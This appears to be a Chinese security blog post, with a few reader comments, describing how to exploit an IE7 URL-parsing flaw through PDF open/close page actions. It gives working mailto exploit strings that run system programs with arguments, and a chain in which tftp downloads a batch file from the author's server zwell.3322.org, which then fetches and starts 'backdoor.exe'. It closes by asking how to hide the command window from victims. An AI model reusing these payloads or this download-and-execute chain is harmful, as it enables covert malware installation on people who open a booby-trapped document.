关于URL解析漏洞在PDF文档中的利用

作者:zwell
来源:NOSEC

右键另存再打开测试文档,否则会调用IE的插件打开,测试会失败。如果你硬要通过点击打开的话,点击这里吧,嘿嘿,这本身也是IE的一个解析漏洞。

在 http://seclists.org/fulldisclosure/2007/Oct/0068.html 看到这个漏洞的时候,一时还没有想到怎么利用。后来结合去年有一个关于pdf actions安全隐患的这么一个问题(参看 http://michaeldaw.org/md-hacks/backdooring-pdf-files/ ),pdf中的actions中打开页面的事件刚好可以用来利用。

Petko Petkov之前放出话说pdf的0day应该也就是指的是这个漏洞了。利用这个漏洞首先需要安装IE7,在URL解析时遇到百分号(%)会执行后面的程序。放出来的利用方式为:

mailto:test%../../../../windows/system32/calc.exe".cmd
http:%xx../../../../../../../../../../../windows/system32/calc.exe".bat

利用这种URL咱们可以执行系统中的任意命令了,但是有一点用处的系统命令都得加参数才能用啊。怎么加入参数呢?反正放在.cmd前就行,但是必须放在引号(")后面,呵呵,其实没的选。经过测试,下面的语句就ok了:

mailto:test%../../../../windows/system32/net.exe" “user”.cmd

要有多个参数的话就的

mailto:test%../../../../windows/system32/xxx.exe" “argv1” ”argv2“.cmd

到这里,基本上大家也就有了利用办法了,网络COPY命令,TFTP等都行啊。不过得分两步:

1.下载程序
2.执行程序

还有一点要注意的,最好在打开页面事件和关闭页面时间中加入上面两步,以免因为网速问题造成程序执行不成功。

mailto:test%..\..\..\..\windows\system32\tftp.exe" "-i" "zwell.3322.org" "GET" "a.bat" "c:\a".cmd
mailto:test%..\..\..\..\windows\system32\cmd.exe" "/c c:\a".cmd

在zwell.3322.org上我搭建了一个TFTP服务器,里面放有一个a.cmd,内容就是再去下载执行一个程序。
在pdf打开首页时执行第一条指令,下载服务器上的a.bat,保存为a.cmd(为什么是cmd,大家可以思考一下)。
在离开该页面时,再执行已经下载的a.cmd,其实他是个bat文件,内容是:

cmd /c tftp -i zwell.3322.org GET backdoor.exe c:\b.exe
start c:\b.exe

好了,现在下载了backdoor.exe程序(这只是一个notepad程序,我重命名了)并且执行了。gameover。

现在有一个最大的问题:每次打开文件都会闪一个命令行出来!如何解决呢?;)

附件:
pdf_poc.pdf  8.05 KB
pdf_poc.exe  8.05 KB

相关日志

楼被抢了 5 层了... 抢座Rss 2.0或者 Trackback

  • kzh4435

    jiayou

  • dupola

    鬼仔,那个我申请成功了。把那个ID换成dupola就看到了。。。或者去我blog你留言那篇文章里看,我更新了一下。

  • dupola

    不过,我还没学会怎么使用代理…………

  • dupola

    但我相信,很快我就搞定了。

  • stee

    用VBS写咋样?

发表评论